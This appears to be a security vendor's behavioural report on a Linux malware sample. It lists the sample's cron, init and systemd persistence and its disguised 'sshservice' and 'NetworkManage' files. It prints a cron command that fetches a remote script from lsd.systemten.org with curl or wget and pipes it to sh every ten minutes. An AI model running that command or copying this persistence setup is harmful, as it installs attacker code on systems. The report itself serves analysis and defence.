Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
- /etc/init.d/sshservice
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
Creates or modifies the following symlinks:
- /etc/rc0.d/K01sshservice
- /etc/rc1.d/K01sshservice
- /etc/rc2.d/S01sshservice
- /etc/rc3.d/S01sshservice
- /etc/rc4.d/S01sshservice
- /etc/rc5.d/S01sshservice
- /etc/rc6.d/K01sshservice
Malicious functions:
Launches itself as a daemon
Manages services:
- systemctl enable sshservice
- /usr/sbin/update-rc.d sshservice defaults
- systemctl daemon-reload
Launches processes:
- /bin/sh -c echo \"*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh\" | crontab -
- crontab -
- <SAMPLE_FULL_PATH>
- /usr/local/sbin/NetworkManage
- /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
- chattr -i /usr/lib/systemd/system/sshservice.service
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
- /sbin/insserv sshservice
Performs operations with the file system:
Modifies file access rights:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.iRzLDM
- /etc/cron.d/root
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /var/spool/cron/crontabs/tmp.iCPuHI
- /var/spool/cron/crontabs/tmp.PTb14K
- /var/spool/cron/crontabs/tmp.DV0d0k
Creates or modifies files:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.iRzLDM
- /var/spool/cron/root
- /var/spool/cron/crontabs/tmp.iCPuHI
- /var/spool/cron/crontabs/tmp.PTb14K
- /var/spool/cron/crontabs/tmp.DV0d0k
- /usr/local/sbin/NetworkManage
- /usr/local/sbin/sshd
- /usr/lib/systemd/system/sshservice.service
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:65533
Establishes connection:
- 127.0.0.1:65533